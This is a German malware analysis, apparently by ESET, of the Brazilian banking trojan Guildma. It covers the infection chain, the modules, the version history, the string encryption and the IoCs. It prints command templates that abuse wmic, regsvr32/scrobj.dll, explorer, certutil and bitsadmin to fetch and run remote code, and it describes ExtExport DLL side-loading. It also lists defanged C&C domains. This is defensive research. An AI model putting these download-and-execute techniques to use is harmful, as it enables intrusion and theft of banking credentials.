In diesem Beitrag werfen wir einen Blick auf Guildma (aka Astaroth, mächtiger Dämon). In unserem Fall handelt es sich dabei um einen überhandnehmenden lateinamerikanischen Bankentrojaner. Die auf Brasilien abzielende Malware ist in Delphi geschrieben und verfügt über einige innovative Ausführungs- und Angriffstechniken.

Wir beschreiben hier eine jüngere Version und heben die auffälligsten Veränderungen im Vergleich zu Versionen von Mitte 2019 hervor. Damals gab es eine ganze Artikelflut über Guildma, weil die bis dato größte Kampagne lief.

Charakteristiken von Guildma

Guildma ist ein lateinamerikanischer Bankentrojaner, der sich bislang ausschließlich auf Brasilien beschränkt. Unseren ESET-Telemetriedaten zufolge und aus der zuteilwerdenden Aufmerksamkeit von der Presse schließen wir, dass es sich um den wirkungsvollsten Bankentrojaner in der Region handelt. Die Malware wird nicht nur gegen Finanzinstitute eingesetzt, sondern auch zum Diebstahl von Login-Daten von E-Mail-Accounts, E-Shops und Streaming-Services. Mindestens zehnmal mehr Opfer sind von Guildma betroffen, als im Vergleich zu irgendeinem anderen von uns beschriebenen lateinamerikanischen Bankentrojaner. Die Malware nutzt innovative Methoden der Programmausführung und komplexe Angriffstechniken.

Anders als von uns bereits beschriebene lateinamerikanische Bankentrojaner, speichert Guildma keine gefälschten Pop-up-Fenster innerhalb der Binary. Stattdessen wird der Angriff vom C&C-Server orchestriert. Das gibt den Malware-Angreifern eine größere Flexibilität, um auf Gegenmaßnahmen von betroffenen Banken zu reagieren.

Guildma bringt folgende Backdoor-Fähigkeiten mit:

  • Screenshots aufnehmen
  • Tastatureingaben aufzeichnen
  • Keyboard und Maus simulieren
  • Shortcuts blockieren (Verhindern des Schließens von Fake-Fenstern mithilfe von ALT+F4 )
  • Herunterladen und Ausführen von Dateien
  • Neustart des Computers

Guildma ist sehr modular aufgebaut. Zum Zeitpunkt der Erstellung dieses Artikels besteht es aus zehn Modulen – ausgenommen die Stufe der Verbreitung. Die Funktionen einzelner Module werden im weiteren Verlauf des Artikel erläutert.

Verlauf der Verbreitung von Guildma

ESET-Telemetriedaten ergaben, dass sich Guildma ausschließlich mithilfe von Spam-E-Mails mit schädlichem Anhang verbreitet. Hier sind einige Beispiele aus einer Malware-Kampagne von Mitte November des Jahres 2019.

Abbildung 1: Spam-Mail-Beispiel (Übersetzung: “Hallo, bitte erklären Sie mit diese Fotos. Ich warte auf eine Erklärung!”)

Abbildung 1: Spam-Mail-Beispiel (Übersetzung: “Hallo, bitte erklären Sie mir diese Fotos. Ich warte auf eine Erklärung!”)

Abbildung 2: Spam-Mail-Beispiel (Übersetzung: “Liebes Consórcio-Mitglied, anbei erhalten Sie den Angebotsnachweis zu 75432.”)

Abbildung 2: Spam-Mail-Beispiel (Übersetzung: “Liebes Consórcio-Mitglied, anbei erhalten Sie den Angebotsnachweis zu 75432.”)

Abbildung 3: Spam-Mail-Beispiel (Übersetzung: “Guten Morgen, Ich übersende Ihnen den Transfernachweis – DOC. Citibank”)

Abbildung 3: Spam-Mail-Beispiel (Übersetzung: “Guten Morgen, Ich übersende Ihnen den Transfernachweis – DOC. Citibank”)

Abbildung 4: Spam-Mail-Beispiel: Gefälschte Zahlungserinnerung gibt vor, dass eine Zahlung übermorgen fällig ist und dass die Bearbeitung der Zahlung bis zu 72 Stunden dauern kann.

Abbildung 4: Spam-Mail-Beispiel: Gefälschte Zahlungserinnerung gibt vor, dass eine Zahlung übermorgen fällig ist und dass die Bearbeitung der Zahlung bis zu 72 Stunden dauern kann.

Eines der bestimmenden Merkmale der Verbreitung von Guildma ist die Nutzung bereits im System vorhandener Tools, oft auf neue und ungewöhnliche Weise.

Eine weitere Eigenschaft ist die Wiederverwendung von Techniken. Von Zeit zu Zeit kommen neue Techniken hinzu, aber die Entwickler scheinen zum größten Teil einfach Techniken aus älteren Versionen wiederzuverwenden.

Abbildung 5: Verbreitungskette der Guildma Version 150

Abbildung 5: Verbreitungskette der Guildma Version 150

Abbildung 5 zeigt ein Schema der Verbreitung von  Guildma Version 150. Allerdings gestaltet sich diese Verbreitungskette sehr dynamisch. In vorherigen Versionen war die schädliche LNK-Datei beispielsweise nicht in einem ZIP-Archiv eingebettet. Oder ein SFX RAR-Archiv, das ein MSI-Installationsprogramm enthält, wurde stattdessen verwendet. Außerdem gab es früher eine weitere JScript-Stufe, deren einziger Zweck das Herunterladen und Ausführen der finalen JScript-Stufe war. Insgesamt gab es eine Reihe von Änderungen, deren Erläuterungen den Rahmen dieses Artikels sprengen würden. Tatsächlich ist der einzige Teil, der größtenteils gleich blieb, die finale JScript-Stufe.

Mit den Daten aus einer langfristigen Beobachtung dieser Malware-Familie konnten wir uns ein sehr gutes Bild über die Tätigkeiten von Guildma verschaffen.

Abbildung 6 zeigt alle ESET-Erkennungen der Guildmas First-Stage-Komponente. Man erkennt, dass der Kampagnenumfang langsam ansteigt, um dann im August 2019 in einen Höhepunkt zu münden - als wir bis zu 50.000 Samples pro Tag beobachteten. Diese Kampagne dauerte nahezu zwei Monate und zahlenmäßig machte sie mehr als das doppelte aus, als in den zehn Monaten zuvor.

Abbildung 6: First-Stage Guildma-Erkennungen seit Oktober 2018

Abbildung 6: First-Stage Guildma-Erkennungen seit Oktober 2018

Im Folgenden fassen wir einige der interessanteren Entdeckungen aus den vergangenen 14 Monaten zusammen.

Ausführung der JScript-Stufe

Über das vergangene Jahr nutzte Guildma verschiedene Methoden zur Ausführung der JScript-Stufen während der Verbreitung. Gegen Ende des Jahres 2018 versteckte Guildma den eigenen Code in “eXtensible Stylesheet Language” (.xsl) Dateien und benutzte wmic.exe, um diese herunterzuladen und auszuführen:

wmic.exe <wmic query> /format:"<URL>"

Dann wurde schnell dazu übergegangen, regsvr32.exe und scrobj.dll zum Herunterladen eines JScript-implementiertes COM-Objekt zu benutzen und schlussendlich die Registrierungs-Routine auszuführen (enthält den Schadcode):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

In jüngster Zeit begannen die Malware-Entwickler den Windows-Explorer für ihre Zwecke zu missbrauchen, um die JScript-Stufe auszuführen. Diese Attacke basiert darauf, dass der Windows Explorer versuchen wird, jede ihm übergebene Datei  in der Commandline mithilfe des entsprechenden Programms zu öffnen und außerdem darauf, dass die Standardzuordnung für .js-Dateien der Microsoft Windows Script Host ist. Das “Script”, welches an den Windows Explorer übergeben wird, besteht aus einer einzelnen Befehlszeile, mit der Absicht, die eigentliche JScript-Stufe herunterzuladen und auszuführen:

echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js

Ausführung der Binary-Module

Die Methoden zur Ausführung der PE-Module sind nicht weniger vielfältig.

Als wir mit der Nachverfolgung von Guildma starteten, bemerkten wir die missbräuchliche Verwendung von Avasts aswRunDll.exe, um die erste Binary-Stufe zu laden – regsvr32.exe diente dabei als Failover auf Computern ohne Avast. Die Benutzung von aswRunDll.exe wurde alsbald eingestellt und regsvr.exe blieb als einzige Ausführungsmethode übrig. Nach einer kurzen Nutzungszeit von rundll32.exe gingen die Guildma-Entwicklicker schließlich zur aktuellen Ausführungsmethode mithilfe von ExtExport.exe über.

ExtExport.exe ist eine nicht weiter dokumentierte Komponente des Microsoft Internet Explorers, die dem Export von Bookmarks aus Mozilla Firefox und 360 Secure Browser dient und via DLL Side-Loading missbraucht werden kann. Wenn der folgende Befehl ausgeführt wird, werden mozcrt19.dll, mozsqlite3.dll und sqlite3.dll aus dem in der Befehlszeile angegebenen Ordner geladen:

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Um das zu missbrauchen, würde man normalerweise die zu ladende DLL als eine der oben genannten ablegen; Guildma nutzt aber alle drei.

Download der Binary-Module

Guildma nutzte auch einige verschiedene Möglichkeiten zum Herunterladen der Binary-Module. In der ersten Version wurde certutil.exe nach certis.exe kopiert (vermutlich, um Entdeckungen zu entgehen):

certis.exe -urlcache -split -f "<URL>" "<destination path>"

Die Malware-Entwickler wechselten später zu BITSAdmin – dem Microsoft Background Intelligent Transfer Service Management Tool – und nutzten dieses Tool bis zum Zeitpunkt der Erstellung dieses Artikels:

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Einige Monate lang wurden die Binary-Module base64-kodiert und in der Google Cloud gehostet. In dieser Zeit benutzte Guildma sowohl BITSAdmin als auch certutil - BITSAdmin zum Herunterladen und certutil zum Entschlüsseln der Module.

Andere Änderungen bei Guildma

Guildma nutzt seltsame, nicht beschreibende Variablen und Funktionsnamen. Als wir mit dem Tracking begannen, ergaben die Bezeichnungen zwar keinen Sinn, waren aber dennoch von Menschenhand gemacht (z.B. "radador" für die Zufallszahl-Funktion oder "Bxaki" für die Download-Funktion). Im Juni 2019 wurden alle Variablen und Funktionsnamen in zufällig erscheinende Namen geändert (z.B. "bx021" und "mrc430"). Zuerst dachten wir, die Malware-Entwickler hätten eine Art automatisierten Skript-Verschleierungsmechanismus implementiert, aber es stellte sich heraus, dass es sich um eine einmalige Änderung handelte. Die Namen sind seither gleichgeblieben.

Eine relativ neue Ergänzung ist die uralte Technik der Verwendung von ADS (Alternate Data Streams) zur Speicherung der Binary-Module. Alle Module werden jetzt als ADS einer einzigen Datei gespeichert (z.B. "desktop.ini:nauwuygiaa.jpg", "desktop.ini:nauwuygiab.jpg", usw.).

Versionsverlauf von Guildma

Obwohl Guildma einige Versionen aufweist, sind die Entwicklungssprünge zwischen den einzelnen Versionen recht klein. Aufgrund der klobigen Architektur, die fest kodierte Konfigurationswerte verwendet, müssen die Malware-Entwickler in den meisten Fällen alle Binärdateien für jede neue Kampagne neu kompilieren. Das ist ein eindeutig nicht vollständig automatisierter Aufwand, da es oft eine erhebliche Verzögerung zwischen der Aktualisierung der Versionsnummer in den Skripten und in den Binärdateien gibt.

Dieser Artikel baut auf Guildma Version 150 auf. Seitdem sind aber bereits zwei weitere Versionen erschienen. Allerdings enthalten diese keine wesentlichen Änderungen in Bezug auf Funktionalität oder Verbreitungsmechanismus, was unsere Behauptungen über den Entwicklungszyklus von Guildma stützen.

Die letzte Stufe der Verbreitungskette enthielt früher einen Versionsnamen, aber dieser wurde (vermutlich) seit Version 148 dauerhaft durch ein einfaches "xXx" ersetzt.

Tabelle 1 fasst alle Versionen zusammen, die seit Beginn unser aktiven Verfolgung von Guildma im Oktober 2018 veröffentlicht wurden. Wenn wir uns den Versionsverlauf ansehen, beschleicht uns das Gefühl, dass die Malware-Entwickler eine Leidenschaft für Ökologie und schnelle Autos hegen.

Table 1. Guildma Versionsverlauf

First seen Version number Version name Version prefix
2018-09-18 131 131_SUPER_Tesla marxvxinhhm
2018-10-31 132 132_ULTRA_Tesla srsysddirrx
2018-11-28 133 133_TORRE_DE_Tesla mxgetronicosxy
2018-11-29 134 134_MAXX_TESLAs dwqiopawsamazon
2018-12-03 135 135_MOAB_TESLAs lu769tsla
2018-12-13 136 136_KRAKEN_TESLAs lrdsnhrxxfery
2019-02-06 137 137_RAPTOR_TESLAs rakpat0rpcack
2019-03-21 138 138_RAPTOR_TESLAs_ hillwd763free
2019-05-20 139 139_TESLA_ falxconxrenw
2019-06-03 140 140_ASTH_ valehraysystqx
2019-06-24 141 141_T3SL4S_ ayt3ese4xw
2019-07-17 142 142_T3SL4S_ halawxtz
2019-08-09 143 143_T3SL4S_ asmonnwqk
2019-08-26 144 144_MULT1T3SL4S_ daffsyshqy
2019-09-26 145 145_MULT1T3SL4S_ landoqeahjky
2019-10-16 146 146_MULT1T3SL4S_ valkanxpca
2019-11-04 147 147_MULT1T3SL4S_ koddsuffy
2019-11-19 148 xXx lpquayevvt
2019-11-22 149 #rowspan# nauwuygia
2019-12-13 150 #rowspan# andrealfo
2020-01-14 151 #rowspan# balberith
2020-02-05 152 #rowspan# masihaddajjal

Übersicht über die Guildma-Module

Wie weiter oben bereits erwähnt, ist Guildma insgesamt sehr modular aufgebaut – die Struktur der einzelnen Module scheint weitestgehend konstant zu sein. In diesem Abschnitt gehen wir kurz auf die Funktionen der einzelnen Module ein.

Alle Modulnamen setzen sich aus einem gemeinsamen, versionsabhängigen Präfix und einem modulspezifischen Suffix zusammen. In Tabelle 2 ist das versionsabhängige Präfix andrealfo.

Table 2. Guildma-Module im Überblick

URL filename Filesystem filename Module
andrealfohh1a.dll.zip andrealfo64.~ Main module loader 1 (part 1)
andrealfohh1b.dll.zip #rowspan# Main module loader 1 (part 2)
andrealfoxa.gif.zip andrealfoxa.gif Main module injector (part 1)
andrealfoxb.gif.zip andrealfoxb.gif Main module injector (part 2)
andrealfoxc.gif.zip andrealfoxc.gif Main module injector (part 3)
andrealfogx.gif.zip andrealfogx.gif Main module loader 2
andrealfog.gif.zip andrealfog.gif Main module
andrealfoc.jpg.zip andrealfoc.jpg Contacts stealer and form grabber module
andrealfodwwn.gif.zip andrealfodwwn.gif RAT module (DLL)
andrealfodx.gif.zip andrealfodx.gif RAT module (EXE)
andrealfoa.jpg.zip andrealfoa.jpg MailPassView
andrealfob.jpg.zip andrealfob.jpg WebBrowserPassView
andrealfoi.gif.zip andrealfoi.gif JScript dropper module

Mit Ausnahme des Hauptmodul-Loaders 1 (*64.~) und des Hauptmodul-Injectors (*xa.gif, *xb.gif und *xc.gif) werden alle Module mithilfe einer einfachen XOR-Chiffre unter Verwendung eines sich wiederholenden 32-Byte-Schlüssels verschlüsselt. Der Schlüssel wird aus einem 32-Bit-Seed unter Verwendung des in Abbildung 7 dargestellten Algorithmus generiert. Der Seed-Wert liegt verschleiert in den Binärdateien, um eine einfache Extraktion zu verhindern (siehe Abbildung 8).

Abbildung 7: Algorithmus der Schlüsselerzeugung

Abbildung 7: Algorithmus der Schlüsselerzeugung

Abbildung 8: Seed-Verschleierung in der Binary

Abbildung 8: Seed-Verschleierung in der Binary

Drei Module kommunizieren mit einem C&C-Server: das Hauptmodul, das RAT Modul und ein Contact Stealer/Form Grabber. Die Kommunikation erfolgt über HTTP(S) unter Verwendung einer Kombination aus base64 und verschiedenen einfachen benutzerdefinierten Verschlüsselungsalgorithmen zum Schutz der übertragenen Daten.

Im folgenden Abschnitt beschreiben wir, wie die C&C-Serveradresse ermittelt wird.

Hauptmodul Loader 1 (*64.~)

Das ist die erste Binary-Stufe der Kette. Dabei handelt es sich um eine DLL-Datei, die in zwei Teilen heruntergeladen wird und durch die vorherige JScript-Stufe verkettet wird. Die DLL lädt drei weitere Dateien, bestehend aus den Lodern der nächsten Stufe (*xa.gif, *xb.gif und *xc.gif), die wiederum verknüpft werden. Die resultierende PE-Datei wird im eigenen Adressraum abgebildet und ausgeführt.

Das Laden einer PE-Datei ist ein relativ komplexer Prozess, deshalb nutzten die Malware-Entwickler die BTMemoryModul Open-source Bibliothek für diesen Zweck.

Hauptmodul Injector (*xa.gif, *xb.gif und *xc.gif)

Dieses Modul lädt die nächste Stufe (*gx.gif) von der Festplatte und entschlüsselt diese. Dann wird die erste .exe aus der folgenden Liste ausgeführt und die entschlüsselte Nutzlast in sie eingespeist.

  1. C:\Program Files\AVAST Software\Avast\aswRunDll.exe
  2. C:\Program Files\Diebold\Warsaw\unins000.exe *
  3. C:\Windows\SysWOW64\userinit.exe
  4. C:\Windows\System32\userinit.exe

* Eine in Brasilien beliebte Anwendung zum Schutz des Online-Banking-Zugangs.

Hauptmodul Loader 2 (*gx.gif)

Die letzte Loader-Stufe ist recht simple und scheint die Funktionalität des Hauptmodul Loaders 1 unnötig zu duplizieren. Es lädt und entschlüsselt das Hauptmodul (*g.gif), mappt es in den eigenen Speicherplatz und führt es aus.

Hauptmodul (*g.gif)

Das Hauptmodul von Guildma orchestriert alle übrigen Module. Dessen Implementierung ist täuschend komplex, da es unzählige Timer und Ereignisse verwendet, aber dessen Funktionalität eigentlich relativ einfach ist. Es enthält sowohl nicht mehr benötigten Legacy Code, als auch Pre-production Code, der noch nicht verwendet wird.

Beim Laden des Moduls überprüft Guildma, ob es in einer Sandbox-Umgebung ausgeführt wird (zum Beispiel durch Untersuchung des Computernamens und der Festplatten-ID), ob es bereits andere, eigene laufende Instanzen gibt (basierend auf Fensternamen) und ob das Systemgebietsschema von Portugiesisch abweicht. Wenn eine Überprüfung ergibt, dass das System unrelevant ist oder bereits durch Guildma kompromittiert wurde, beendet sich die Malware.

Andernfalls sammelt die Schadsoftware Informationen über das Computersystem (wie Computername, verwendete Sicherheitssoftware, installierte Programme, …) und baut den Kontakt mit dem C&C-Server auf. Darauf hin beginnt Guildma, interessante Ereignisse zu überwachen, wie beispielsweise das Öffnen bestimmter Apps oder Besuche von Online-Banking Webseiten und damit verbundene Aktionen. Die Malware kann z.B. Screenshots aufnehmen, Benutzer am Schließen von Fenstern hindern, das RAT-Modul starten, usw.

Das Hauptmodul führt auch Backdoor-Befehle aus, dessen Funktionsumfang sich größtenteils mit dem RAT-Modul überschneidet.

Contact Stealer / Form Grabber (*c.jpg)

Dieses Modul besitzt zwei Funktionen – das Sammeln von E-Mail-Adressen und Formulardaten von Webseiten.

Es erbeutet E-Mail-Adressen von Desktop-E-Mail-Clients (wie MS Outlook, ThunderBird und The Bat!), indem Adressbücher und E-Mails analysiert werden.

Der Formular-Grabber verwendet die Windows-COM-Technologie zur Interaktion mit dem Internet Explorer. Dieser wartet, bis eine Zielseite geöffnet wird (meist brasilianische Webmailer, E-Shops und Zahlungsgateways) und loggt den Benutzer dann aus. Das Opfer wird quasi zur Eingabe der Zugangsdaten gezwungen. Form Grabber ruft darauf hin das DOM ab und sucht nach wichtigen Eingabefelder-Werten (wie Benutzernamen, Passwörter und Kreditkartennummern).

RAT-Modul (*dwwn.gif, *dx.gif)

Das RAT-Modul erscheint in zwei funktionell identischen Zusammenstellungen – DLL (*dwwn.gif) und EXE (*.dx.gif).

Es realisiert Downloads und Programmausführungen, nimmt Screenshots auf, simuliert Maus und Tastatureingaben und startet den Computer bei Bedarf neu.

Die meisten lateinamerikanischen Bankentrojaner blenden gefälschte Pop-up-Fenster ein, die auf der Überwachung des Namens des aktiven Fensters basieren. Diese Fenster werden normalerweise in der Binary gespeichert. Wir fanden in Guildma solchen Code nicht, aber das RAT-Modul enthält ein Delphi-Formular, das einen simplen Webbrowser implementiert. Da es auch auf der Grundlage des aktiven Fensternamens ausgeführt wird, gehen wir davon aus, dass dieses Formular der Anzeige gefälschter Dialoge für User dient.

MailPassView (*a.jpg) und BrowserPassView (*b.jpg)

Hierbei handelt es sich um Freeware-Tools von Nirsoft. Damit lassen sich gespeicherte Anmeldedaten aus gängigen E-Mail-Clients und Web-Browsern extrahieren. Da Nirsoft die Unterstützung für stille Operationen (Ausgabe in eine Datei, ohne GUI) in neueren Versionen entfernte, um den Missbrauch dieser Tools durch Malware einzudämmen, verwendeten die Guildma-Malware-Entwickler ältere Versionen. Dieselben Tools werden auch von Mispadu genutzt, mit dem Unterschied, dass Mispadu neuere Versionen mit wieder eingebauter Funktion der „stillen Operation“ einsetzt.

JScript Dropper Module (*i.gif)

Dieses Modul legt eine JScript-Datei ab und führt diese aus (unter Verwendung von cscript.exe). Das Skript besteht aus zwei Teilen – der erste Teil wird als eine lange verschlüsselte Zeichenfolge gespeichert, während der zweite Teil sich aus vielen kurzen Zeichenfolgen (teils verschlüsselt und teils im Klartext) zusammensetzt. Bemerkenswert ist die Tatsache, dass die Zeichenketten in der abgelegten JScript-Datei von diesem Dropper-Modul mit einem zufällig generierten Schlüssel verschlüsselt werden, so dass sie im Dropper im Klartext vorliegen.

Das Skript führt die folgenden Aktionen aus:

  • Deaktivieren von UAC
  • Deaktivieren der EXE Signature-Überprüfung
  • Deaktivieren von Windows Defender
  • Erstellt eine Firewall-Regel, die den Netzwerkzugriff für C:\Program Files\AVAST Software\Avast\Setup\avast.setup deaktiviert
  • Deaktiviert wsddntf-Treiber (Diebold Warsaw GAS Tecnologia - die früher eingeführte Software zum Schutz des Online-Banking-Zugangs)
  • Fügt eine Firewallausnahme für Dateien hinzu, die als „Injection Targets“ verwendet werden
    • C:\Program Files\Diebold\Warsaw\unins000.exe
    • C:\Program Files\AVAST Software\Avast\aswRunDll.exe

Da dieses Modul auf unseren Testmaschinen keinerlei Script ablegte, gehen wir davon aus, dass es sich noch im Entwicklungsstatus befindet.

Neue Entwicklungen ab Mitte 2019

Alternativer Abruf der C&C-Serveradressen

Ab Version 142 implementierten die Malware-Entwickler eine neue Art und Weise, die C&C-Serveradressen abzurufen – sie nutzten Facebook- und YouTube-Profile. Von Facebook kehrten sie alsbald wieder ab. Seit der Erstellung dieses Artikels verlassen sie sich auf YouTube-Profile. Das Ganze weist Ähnlichkeiten zu Casbaneiro auf, nur dass es sich bei Guildma etwas weniger raffiniert gestaltet. Während bei Casbaneiro die Daten in Videobeschreibungen versteckt und als Teil einer URL verschleiert wurden, sind die Daten für Guildma einfach in der YouTube-Kanalbeschreibung hinterlegt – wenn auch verschlüsselt. Anfang und Ende sind mit „|||“ markiert. Die Zeichenfolge dazwischen ist base64-codiert und wird mithilfe von Mispadus „String Encryption Algorithm“ entschlüsselt. Neben dieser primären Methode existiert auch noch die alte als Backup.

Abbildung 9: Bei YouTube hinterlegte verschlüsselte Guildma C&C-Server-Adressen

Abbildung 9: Bei YouTube hinterlegte verschlüsselte Guildma C&C-Server-Adressen

Hinzugefügte und entfernte Module

Das weiter oben beschriebene JScript Dropper Modul fügten die Guildma-Entwickler in Version 145 hinzu. Umgekehrt entfernte man in Version 139 zwei Module – den Mass-Mailer (*f.jpg) und den Loader (*e.jpg). In den folgenden Versionen, waren die Module noch immer über ihre erwartbaren Namen (<version prefix>e.jpg and <version prefix>f.jpg) vom Server abrufbar, wie andere Module auch. Diese Module sind nach unseren Vermutungen noch in der Entwicklung, und bei Bedarf ausspielbar – mutmaßlich mithilfe von Backdoor-Befehlen zum Herunterladen und Ausführen.

Neue String Encryption

Das JScript Dropper Modul brachte einen neuen String-Verschlüsselungsalgorithmus mit sich. Eine Variante dieses Algorithmus (Abbildung 10) kam in der Version 147 in anderen Modulen zum Einsatz.

def decrypt ( ct, key ):
	# stage 1
	ct = unhexlify ( ct );
	last = ct [ 0 ];
	s = bytearray ( ct [ 1 : ] );
	for i in range ( len ( s ) ):
		x = s [ i ] ^ key [ i % len ( key ) ];
		if last > x:
			x += 0xff;
		x -= last;
		last = s [ i ];
		s [ i ] = x;

	# stage 2 - reverse string
	s = s [::-1]; 

	# stage 3 - c = not ( c - 10 )
	s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] ); 

	# stage 4 - Base25 decode and key subtraction
	k = ord ( s [ 0 ] ) - 65;
	ot = "";
	for i in range ( 1, len ( s ), 2 ):
		ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );

	return ot;

Abbildung 10: Neuer String-Verschlüsselungsalgorithmus

Ursprünglich benutzte Guildma die gleiche String Encryption wie Casbaneiro. Der neue Algorithmus besteht aus vier Stufen. Der ursprüngliche Algorithmus dient der String-Verschlüsselung immer noch als erste Stufe. In der vierten Stufe greift man wiederum auf den Verschlüsselungsalgorithmus von Mispadu zurück.

In Version 148 hat Guildma eine String-Tabelle implementiert; alle Strings werden zu Beginn der Ausführung entschlüsselt und bei Bedarf aus der Tabelle heraus aufgerufen.

Entfernung von internationalen Angriffszielen

In Version 138 implementierten die Guildma-Entwickler die Möglichkeit, auch Einrichtungen (hauptsächlich Online-Banken) außerhalb Brasiliens zu attackieren. Trotzdem beobachteten wir keine internationalen Malware-Kampagnen. Die Kampagnen, die Dateien auf der Infrastruktur von Cloudflare Workers bereithielten, gingen sogar so weit, dass diese Downloads von nicht-brasilianischen IPs blockierten. Tatsächlich sahen wir in den letzten 14 Monaten keine Guildma-Kampagne, die sich an Nutzer außerhalb Brasiliens richtete.

In der Version 145 verzichtete man dann ganz auf die Möglichkeit, Institutionen außerhalb Brasiliens anzugreifen. Wir gehen deshalb davon aus, dass es sich bei diesem Feature also lediglich um eine in der Entwicklung befindliche Funktion handelte, die schließlich gestrichen wurde.

Fazit

In diesem Beitrag erläuterten wir einige interessante Fakten zu Guildma, einem derzeit in Brasilien weitverbreiteten lateinamerikanischen Bankentrojaner. Wir zeigten den umfangreichen Versionsverlauf und konzentrierten uns in der näheren Beschreibung auf eine der neusten Versionen.

Guildma zeigt die typischen Merkmale eines lateinamerikanischen Bankentrojaners: in Delphi geschrieben, regional ausgerichtet, implementierte Backdoor-Funktion, Funktionen auf Module verteilt und Missbrauch von legitimen Tools.

Eine interessante Gemeinsamkeit zu bevor beschriebenen gleichartigen Malware-Familien ist die Kombination des Verschlüsselungsalgorithmus, bestehend aus jenen Algorithmen, die von Casbaneiro und Mispadu verwendet werden.

Indicators of Compromise (IoCs)

Hashes

SHA-1 Description ESET Detection name
45c58bc40768dce6a6c611e08fd34c62441aa776 Main module loader 1 Win32/Spy.Guildma.BM
861f20b0dcc55f94b4c43e4a7e77f042c21506cf Main module injector Win32/Spy.Guildma.BJ
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 Main module loader 2 Win32/Spy.Guildma.Q
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d Main module Win32/Spy.Guildma.BS
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc Contacts stealer and form grabber Win32/Spy.Guildma.D
6c9304c5862d4e0de1c86d7ae3764f5e8358daff RAT module (DLL) Win32/Spy.Guildma.BR
89fbffe456de850f7abf4f97d3b9da4bad6afb57 RAT module (EXE) Win32/Spy.Guildma.BR
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d MailPassView Win32/PSWTool.MailPassView.E
92bcf54079cbba04f584eac4486473c3abdd88cd WebBrowserPassView Win32/PSWTool.WebBrowserPassView.E
a2048f435f076988bf094274192a196216d75a5f JScript dropper module Win32/Spy.Guildma.BP

Filenames

C:\Users\Public\Libraries\qlanl\*

Startup link

  • Location

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

  • Targets

C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe

  • Args

<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

C&C servers

  • https://www.zvatrswtsrw[.]ml
  • https://xskcjzamlkxwo[.]gq
  • https://www.vhguyeu[.]ml
  • https://www.carnataldez[.]ml
  • https://www.movbmog[.]ga
  • https://iuiuytrytrewrqw[.]gq
  • https://www.gucinowertr[.]tk
  • https://equilibrios[.]ga
  • https://www.clooinfor[.]cf
  • https://ambirsr[.]tk
  • https://dbuhcbudyu[.]tk
  • https://nvfjvtntt[.]cf
  • http://whia7g.acquafufheirybveru[.]online

MITRE ATT&CK techniques

Tactic ID Name Description
Initial Access T1193 Spearphishing Attachment Guildma distribution chains start with a malicious email attachment.
Execution T1073 Rundll32 Guildma utilizes rundll32.exe to execute its binary modules.
T1047 Windows Management Instrumentation Guildma abuses WMIC.exe to execute some of its distribution chain stages.
Persistence T1060 Registry Run Keys / Startup Folder Guildma ensures persistence by creating a LNK file in the %STARTUP% folder.
Defense Evasion T1197 BITS Jobs BITSAdmin.exe is used to download binary modules.
T1089 Disabling Security Tools Guildma disables Windows Defender.
T1140 Deobfuscate/Decode Files or Information The majority of Guildma modules need to be decrypted after downloading.
T1073 DLL Side-Loading Guildma abuses ExtExport.exe for DLL Side-Loading.
T1096 NTFS File Attributes Guildma utilizes ADS to hide its modules on disk.
T1055 Process Injection Guildma utilizes process injection when executing its modules.
T1064 Scripting Guildma implements its distribution chain stages in various scripting languages (mainly JScript).
T1220 XSL Script Processing Guildma utilizes XSL script(s) in its distribution chains.
Credential Access T1081 Credentials in Files Guildma extracts credentials stored by web browsers and email clients in files.
T1214 Credentials in Registry Guildma extracts credentials stored by web browsers and email clients in Windows Registry.
Discovery T1083 File and Directory Discovery Guildma uses presence of certain files to determine whether banking and security tools are installed.
T1010 Application Window Discovery Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running.
T1063 Security Software Discovery Guildma detects the presence of several security products.
T1082 System Information Discovery Guildma collects OS version and bitness, computer name and system locale.
T1497 Virtualization/Sandbox Evasion Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments.
Collection T1113 Screen Capture Guildma is capable of taking screenshots.
Command and Control T1024 Custom Cryptographic Protocol New C&C addresses are encrypted using custom encryption algorithms.
Exfiltration T1041 Exfiltration Over Command and Control Channel Guildma uploads screenshots and log files to the C&C server.